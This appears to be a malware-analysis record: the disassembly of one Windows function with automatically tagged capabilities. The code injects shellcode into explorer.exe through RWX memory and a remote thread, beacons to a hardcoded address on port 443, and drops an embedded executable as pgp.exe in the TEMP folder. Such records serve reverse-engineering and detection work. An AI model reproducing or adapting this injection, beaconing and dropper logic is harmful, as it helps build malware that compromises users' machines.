Function at 0x140001440
Capabilities:
Allocate or change rwx memory
Connect socket
Create thread
Enumerate processes
Initialize winsock library
Resume thread
Send data
Send data on socket
Spawn thread to rwx shellcode
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x550]
sub rsp, 0x650
mov rax, qword [0x140027030]
xor rax, rsp
mov qword [rbp + 0x540], rax
mov dword [rsp + 0x50], 0x238
call fcn.140001910
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x440]
call fcn.140004dc0
mov r8d, 0x100
lea rdx, [rbp + 0x440]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor edx, edx
mov r13d, 2
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor r12d, r12d
lea rdi, [r13 - 3]
cmp eax, 1
jne 0x140001652
lea rdx, [rsp + 0x50]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x140001652
lea ecx, [rax + 0x17]
call fcn.140002f58
mov rbx, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140001548
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r12
mov dword [rbx + 0x10], 1
lea rcx, [rsp + 0x7c]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1400018eb
jmp 0x14000154b
mov rbx, r12
mov qword [rbp + 0x1b8], rbx
test rbx, rbx
je 0x1400018f6
cmp qword [rbx + 8], 0
jne 0x14000156e
mov rcx, qword [rbx]
call fcn.140002b80
mov qword [rbx + 8], rax
lea rdx, str.explorer.exe
mov rcx, qword [rbx + 8]
call fcn.14000b58c
test eax, eax
jne 0x14000160d
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x1000
mov r8d, 0x800
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
mov rdx, rsi
mov rcx, rax
call fcn.1400012c0
test r14, r14
je 0x140001603
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r12
mov r9, r14
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
test rax, rax
je 0x140001603
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, edi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x1400014ec
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000162e
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r12
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140001640
call fcn.140002f50
mov qword [rbx + 8], r12
mov edx, 0x18
mov rcx, rbx
call fcn.140002f50
jmp 0x1400014ec
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x202
lea rdx, [rbp + 0x1d0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140001729
lea edx, [rax + 1]
lea r8d, [rax + 6]
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001723
mov word [rbp + 0x1c0], r13w
lea rcx, [0x140023b10]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x1c4], eax
mov ecx, 0x1bb
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x1c2], ax
mov r8d, send
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140001723
mov eax, dword [0x140023b1c]
mov dword [rbp + 0x370], eax
movzx eax, word [0x140023b20]
mov word [rbp + 0x374], ax
xor edx, edx
mov r8d, 0xc2
lea rcx, [rbp + 0x376]
call fcn.140004dc0
xor r9d, r9d
mov r8d, 0xc8
lea rdx, [rbp + 0x370]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
jmp 0x140001729
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, str.TEMP
call fcn.14000b4ac
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], 7
mov word [rbp + 0x190], r12w
inc rdi
cmp word [rax + rdi*2], 0
jne 0x140001756
lea rcx, [rbp + 0x190]
cmp rdi, 7
ja 0x14000178e
mov qword [rbp + 0x1a0], rdi
lea rbx, [rdi + rdi]
mov r8, rbx
mov rdx, rax
call fcn.140008ac0
mov word [rbp + rbx + 0x190], r12w
jmp 0x14000179a
mov r9, rax
mov rdx, rdi
call fcn.140002820
nop
mov rdi, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
sub rax, rdi
cmp rax, 8
jb 0x1400017f0
lea rax, [rdi + 8]
mov qword [rbp + 0x1a0], rax
lea rbx, [rbp + 0x190]
cmp rcx, 8
cmovae rbx, qword [rbp + 0x190]
lea rcx, [rbx + rdi*2]
mov r8d, send
lea rdx, str.pgp.exe
call fcn.140008ac0
mov word [rbx + rdi*2 + 0x10], r12w
jmp 0x14000180a
mov qword [rsp + 0x20], 8
mov edx, 8
lea rcx, [rbp + 0x190]
call fcn.140002990
mov dword [rbp + 0x1b0], r12d
lea rcx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 8
cmovae rcx, qword [rbp + 0x190]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x1b0]
mov r8d, 0x3400
lea rdx, [0x140027a70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 8
jb 0x1400018b3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400018e5
call fcn.140002f50
xor eax, eax
mov rcx, qword [rbp + 0x540]
xor rcx, rsp
call fcn.140002f30
lea r11, [rsp + 0x650]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000ba00
nop
mov ecx, 0x8007000e
call fcn.140002b70
nop
mov ecx, 0x8007000e
call fcn.140002b70
int3